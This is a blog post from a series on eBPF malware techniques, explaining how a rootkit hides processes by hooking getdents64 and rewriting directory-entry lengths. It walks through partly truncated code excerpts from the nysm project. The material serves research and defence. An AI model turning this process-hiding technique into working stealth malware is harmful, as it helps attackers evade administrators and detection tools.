eBPF Malware Techniques Series:

  1. eBPF Malware Techniques Part 1 - Introduction
  2. eBPF Malware Techniques Part 2 - Setting Appropriate Hooks
  3. eBPF Malware Techniques Part 3 - Hiding BPF Traces
  4. eBPF Malware Techniques Part 4 - Hiding Processes

1. Introduction

In this post, we explore techniques employed by eBPF to hide processes. When I wrote my first rootkit that hides targeted directories, my go-to reference was this well-written blog post by TheXcellerator.

As PIDs are tracked under /proc as a directory, there’s no need to re-invent the wheel when it comes to hiding processes. That’s because Linux veterans know that directory listings are handled by the getdents64 syscall — a well-known technique.

However, if you are still relatively new to Linux’s internals, the next section will provide clarity on how the getdents64 syscall works.

2. What is getdents64 Syscall?

You can reliably learn about this syscall from its man page (man getdents64). In addition, we can also search up the function definition in the Linux kernel source code here to see its parameters.

Essentially, the function prototype of getdents64() looks like this:

int getdents64(int fd, struct linux_dirent64 *dirp, int count)
Function Prototype of getdents64()

This function takes in 3 parameters:

  1. int fd: The file descriptor of the directory to read.
  2. struct linux_dirent64 *dirp: A pointer to a buffer where the directory entries will be stored.
  3. int count: The size of the buffer in bytes.

And it returns the number of bytes read into the buffer, or -1 on error.

To dive slightly deeper, let’s break down struct linux_dirent64:

struct linux_dirent64 {
  ino64_t        d_ino;    // Inode number
  off64_t        d_off;    // Offset to the next dirent
  unsigned short d_reclen; // Length of this record
  unsigned char  d_type;   // File type (e.g., DT_DIR, DT_REG)
  char           d_name[]; // Null-terminated filename
};
Definition of linux_dirent64 Structure

This structure represents a single directory entry and has 5 members in the structure:

  1. ino64_t d_ino: The inode number of the file.
  2. off64_t d_off: The offset to the next directory entry.
  3. unsigned short d_reclen: The total size of this directory entry, including the d_name field.
  4. unsigned char d_type: The type of the file (e.g., directory, regular file, symbolic link).
  5. char d_name[]: The name of the file (null-terminated string).

To tie everything together, what happens is that when getdents64() is called, it fills the provided buffer (dirp) with a series of struct linux_dirent64 entries. Each entry corresponds to a file or subdirectory and has a variable size, determined by the lengths of the d_name and d_reclen fields. The kernel then iterates through the buffer using the d_reclen field to locate the next directory entry.

Here’s a simple example of using the getdents64 syscall to iterate through your files and subdirectories in the current working directory:

#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <stdint.h>

#define BUF_SIZE 1024

struct linux_dirent64 {
  __ino64_t        d_ino;    // Inode number
  __off64_t        d_off;    // Offset to the next dirent
  unsigned short d_reclen;   // Length of this record
  unsigned char  d_type;     // File type (e.g., DT_DIR, DT_REG)
  char           d_name[];   // Null-terminated filename
};

int main() {
  int fd = open(".", O_RDONLY | O_DIRECTORY);
  if (fd == -1) {
      perror("open");
      return 1;
  }

  char buf[BUF_SIZE];
  ssize_t nread;

  while ((nread = syscall(SYS_getdents64, fd, buf, BUF_SIZE)) > 0) {
      struct linux_dirent64 *d;
      for (int bpos = 0; bpos < nread; bpos += d->d_reclen) {
          d = (struct linux_dirent64 *)(buf + bpos);
          printf("Name: %s, Inode: %llu, Type: %u\n", d->d_name, (unsigned long long)d->d_ino, d->d_type);
      }
  }

  if (nread == -1) {
      perror("getdents64");
  }

  close(fd);
  return 0;
}
Simple Example of Iterating Files/Directories in CWD - simple_ls_cwd.c

3. Methodology on Hiding Processes

Now that we better understand how to iterate through directory entries, we can basically do the following high-level steps to hide our processes:

  1. For each directory entry, check if the PID is our target
  2. If it is, then update the previous directory entry’s d_reclen to skip over the current directory entry

The pseudocode below reiterates the concept:

pid = atoi(d_name)
if (pid == target_pid) {
  ...
  previous_d_reclen += current_d_reclen
  ...
}
Pseudocode For Hiding Target PID

4. Github Project - eeriedusk/nysm

The nysm project uses eBPF to hide specific PIDs from directory listings. This involves a combination of hooks and user-space logic to track, manage, and hide PIDs.

4.1 Tracking PIDs to Hide

The first step is to track the PIDs that need to be hidden. This is achieved through the kretprobe hook on alloc_pid(), which is triggered when a new PID is allocated.

SEC("kretprobe/alloc_pid")
int BPF_KRETPROBE(alloc_pid_exit, void *ret_pid) {

  struct upid numbers = {};
  if (bpf_get_ns() != pidns) return 0;

  bpf_probe_read(&numbers, sizeof(numbers), ret_pid+offsetof(struct pid, numbers));
  bpf_map_update_elem(&map_alloc_pid_pid_data, &numbers.nr, &numbers.nr, BPF_ANY);
  return 0;
}
Kretprobe Hook on alloc_pid()

According to the listing above, nysm only keeps track of processes that are from the same namespace. It then proceeds to update map_alloc_pid_pid_data only with its own PID and children process PIDs.

4.2 Cleaning Up Tracked PIDs

When a process exits, its PID is no longer valid and should be removed from the tracking map. This is handled by the kprobe hook on free_pid().

SEC("kprobe/free_pid")
int BPF_KPROBE(free_pid, struct pid *pid) {

  struct upid numbers = {};
  if (bpf_get_ns() != pidns) return 0;

  bpf_probe_read(&numbers, sizeof(numbers), pid->numbers);
  if (!bpf_map_lookup_elem(&map_alloc_pid_pid_data, &numbers.nr)) return 0;
  if (bpf_map_delete_elem(&map_alloc_pid_pid_data, &numbers.nr)) return 0;
  return 0;
}
Kprobe Hook on free_pid()

Again, nysm only monitors processes from the same namespace. It does a map lookup for the PID being released. If this PID exists in map_alloc_pid_pid_data, then it is deleted from the map.

4.3 Storing Directory Entries

Now that nysm has a way to keep track and remove the PIDs to hide, the next step is to use a tracepoint hook on sys_enter_getdents64.

SEC("tracepoint/syscalls/sys_enter_getdents64")
int tracepoint_getdents64_enter(struct enter_getdents64_format *ctx) {
  void *dirent = ctx->dirent;
  uint32_t tgid = bpf_get_current_pid_tgid() >> 32;
  ...
  if (bpf_get_ns() == pidns) return 0;
  ...
  bpf_map_update_elem(&map_getdents64_pid, &tgid, &dirent, BPF_ANY);

  return 0;
}
Tracepoint Hook on sys_enter_getdents64

When a process that triggers this hook does not belong to the same namespace as nysm, the program stores the directory entry buffer pointer in the map_getdents64_pid map, associating it with the process’s tgid. This allows the buffer to be accessed later at the tracepoint for sys_exit_getdents64.

4.4 Processing Directory Entries

Now that the relevant directory entries are stored in the map, processing is needed via a tracepoint hook on sys_exit_getdents64.

#define DIRENT_BPF_LOOP 128
...
SEC("tracepoint/syscalls/sys_exit_getdents64")
int tracepoint_getdents64_exit(struct exit_format *ctx) {
  ...
  if (bpf_get_ns() == pidns) return 0;

  if (bpf_map_read_elem(&dirent_ptr, sizeof(dirent_ptr), &map_getdents64_pid, tgid)) return 0;
  ...
  for (int i = 0; i < DIRENT_BPF_LOOP; i++) {
    bpf_probe_read(&dirent, sizeof(dirent), dirent_ptr + data.offset);
    bpf_probe_read(&d_name, sizeof(d_name), ((struct linux_dirent64 *)(dirent_ptr + data.offset))->d_name);
    bpf_probe_read(&d_type, sizeof(d_type), &((struct linux_dirent64 *)(dirent_ptr + data.offset))->d_type);
    /* Trucated Code - Refer to Section 4.5 */
    ...
    data.old_offset = data.offset;
    data.offset += dirent.d_reclen;
    ...
  }
  ...
  if (data.offset < ret) bpf_tail_call(ctx, &map_getdents64_recursive_tail_call, 1);
  ...
}
Tracepoint Hook on sys_exit_getdents64

The snippet above shows that this hook iterates through and processes directory entries 128 times before doing a tail call back to the start of this tracepoint. This limitation exists because eBPF programs can only execute a limited number of instructions per invocation. By limiting the loop to 128 iterations, the program ensures it stays within these constraints while processing large directory buffers. The tail call mechanism allows the program to continue processing the remaining entries in subsequent invocations.

The configuration for the tail call is handled in nysm.c, where the tracepoint_getdents64_exit() program is added to the map_getdents64_recursive_tail_call hash map using a key value of 1.

...
int32_t index = 1;
int32_t prog = bpf_program__fd(nysm->progs.tracepoint_getdents64_exit);
int32_t ret = bpf_map_update_elem(bpf_map__fd(nysm->maps.map_getdents64_recursive_tail_call), &index, &prog, BPF_ANY);
if (ret == -1) goto cleanup;
...
Configuring Tail Call in nysm.c

4.5 Hiding Tracked PIDs

Continuing our analysis from the truncated portion in Listing 8, the directory entry name is first converted to an integer.

pid = atoi(d_name);
Directory Entry Name String to Integer Conversion

Then it checks whether the PID exists in the map_alloc_pid_pid_data hash map, where it previously stored a set of PIDs that needs to be hidden. (Recall Section 4.1)

if (bpf_map_lookup_elem(&map_alloc_pid_pid_data, &pid)) {
  /* Truncated Code - See Listing 12*/
  ...
}
Check If PID Needs To Be Hidden

If this is the first hidden entry encountered (data.d_reclen == 0), the program calculates a d_reclen for the previous entry by adding the size of the current entry (dirent.d_reclen) to the gap between the current and previous entries (data.offset - data.old_offset). Then, it stores the offset of the previous entry in data.change_me.

Otherwise, for subsequent consecutive entries to be hidden, the program accumulates their sizes in data.d_reclen.

if (!data.d_reclen) {
    data.d_reclen  = (data.offset-data.old_offset)+dirent.d_reclen;
    data.change_me = data.old_offset;
} else {
    data.d_reclen += dirent.d_reclen;
}
Calculating data.d_reclen If Directory Entry Needs To Be Hidden

At the other branching statement of Listing 11 when it encounters a non-tracked PID, it checks if there are hidden entries (data.d_reclen > 0) and if the program has stored the offset of the previous entry (data.change_me), it writes the updated d_reclen value to the previous entry in the directory entries buffer. This ultimately causes hidden entries to be skipped when the directory entries buffer is processed by user-space programs.

else if (data.d_reclen && data.change_me && d_type == DT_DIR) {
  bpf_probe_write_user(&((struct linux_dirent64 *)(dirent_ptr+data.change_me))->d_reclen, &data.d_reclen, sizeof(data.d_reclen));
  ...
}
Committing Changes to Previous Entry’s d_reclen

5. Conclusion

One of the biggest takeaways here is that even though the logic of hiding a PID is simple, implementing it safely and correctly under eBPF’s strict verification rules — especially when dealing with pointer arithmetic and loops — is non-trivial. You must be meticulous about bounds checking, tail calls, and ensuring consistent behavior across invocations.

You can also check out pidhide, which is another eBPF application that uses the same technique but implements the logic slightly differently.

Now that you are armed with dangerous knowledge, it is time to get your hands dirty. Adios!

6. Resources

  1. simple_ls_cwd.c

eBPF Malware Techniques Series:

  1. eBPF Malware Techniques Part 1 - Introduction
  2. eBPF Malware Techniques Part 2 - Setting Appropriate Hooks
  3. eBPF Malware Techniques Part 3 - Hiding BPF Traces
  4. eBPF Malware Techniques Part 4 - Hiding Processes